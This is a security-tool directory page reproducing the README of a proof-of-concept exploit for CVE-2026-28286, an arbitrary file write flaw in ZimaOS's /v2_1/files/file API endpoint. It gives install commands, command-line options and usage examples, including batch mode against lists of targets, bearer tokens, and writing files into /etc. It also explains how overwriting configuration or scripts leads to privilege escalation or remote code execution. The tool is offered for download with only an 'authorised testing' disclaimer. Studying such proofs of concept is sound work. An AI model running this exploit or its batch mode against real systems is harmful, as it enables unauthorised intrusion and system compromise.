Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
zimaos-cve-2026-28286-arbitrary-file-write — PoC and verification toolkit for CVE-2026-28286, an arbitrary file write vulnerability in ZimaOS, exploiting API misconfiguration to write files outside intended directories. | Kitploit
Tools/GitHubGitHub/rushi9/zimaos-cve-2026-28286-arbitrary-file-write
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityPenetration Testing
GitHubrushi9/zimaos-cve-2026-28286-arbitrary-file-write

zimaos-cve-2026-28286-arbitrary-file-write

PoC and verification toolkit for CVE-2026-28286, an arbitrary file write vulnerability in ZimaOS, exploiting API misconfiguration to write files outside intended directories.

View RepositoryWebsite
2175 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🚨 CVE-2026-28286 — ZimaOS Arbitrary File Write

From API Misconfiguration → Arbitrary File Write → Potential System Compromise

⚡ TL;DR

  • Endpoint: /v2_1/files/file
  • Issue: No path validation
  • Impact: Arbitrary file write outside the intended directory
  • Severity: 🔴 Critical

🧪 Quick Start

root@kitploit:~
git clone https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write.git
cd zimaos-cve-2026-28286-arbitrary-file-write
pip install -r requirements.txt
python3 poc.py

⚙️ CLI Usage

You can view all available options using:

root@kitploit:~
python poc.py -h

📌 Available Options

root@kitploit:~
usage: poc.py [-h] [-u URL] [-t TARGETS] [-p PATH] [--proxy PROXY] [--token TOKEN] [-n ATTEMPTS] [--delay DELAY]

options:
  -h, --help            show help message and exit
  -u, --url URL         Single target URL
  -t, --targets TARGETS Targets file (batch mode)
  -p, --path PATH       Custom file path (default: /tmp)
  --proxy PROXY         Proxy URL (e.g., http://127.0.0.1:8080)
  --token TOKEN         Bearer authentication token
  -n, --attempts        Number of attempts
  --delay               Delay between batch requests (seconds)

🚀 Usage Examples

▶️ 1. Interactive Mode

root@kitploit:~
python poc.py

▶️ 2. Single Target

root@kitploit:~
python poc.py -u http://localhost:8080

▶️ 3. Custom Path

root@kitploit:~
python poc.py -u http://localhost:8080 -p /tmp

▶️ 4. Target Sensitive Path (Lab Testing)

root@kitploit:~
python poc.py -u http://localhost:8080 -p /etc

▶️ 5. Multiple Attempts

root@kitploit:~
python poc.py -u http://localhost:8080 -n 5

▶️ 6. Using Proxy (Burp Suite)

root@kitploit:~
python poc.py -u http://localhost:8080 --proxy http://127.0.0.1:8080

▶️ 7. Batch Mode

root@kitploit:~
python poc.py -t targets.txt

▶️ 8. Batch Mode with Delay

root@kitploit:~
python poc.py -t targets.txt --delay 2

▶️ 9. Full Power Mode (All Options)

root@kitploit:~
python poc.py -u http://target.com -p /tmp -n 3 --proxy http://127.0.0.1:8080 --token YOUR_TOKEN

💡 Tip

Use proxy mode with Burp Suite to:

  • Inspect requests
  • Modify payloads
  • Confirm backend behaviour

🧠 Technical Breakdown

The backend fails to enforce filesystem boundaries:

  • ❌ No path canonicalization
  • ❌ No base directory restriction
  • ❌ User-controlled absolute paths

This allows writing to:

root@kitploit:~
/tmp/
/etc/
/usr/local/bin/

💥 Impact

root@kitploit:~
Arbitrary File Write
        ↓
Overwrite Config / Scripts
        ↓
Privilege Escalation / RCE


🎥 Demo

image

📁 Example Output

root@kitploit:~
[✔] CONFIRMED vulnerable (LISTING_SUCCESS)
Path: /tmp/CVE-2026-28286_⚠️_abc123.txt

⭐ Support

If you found this useful, consider giving a star ⭐ It helps more researchers discover this work.


⚠️ Disclaimer

For authorised testing only.

Download Tool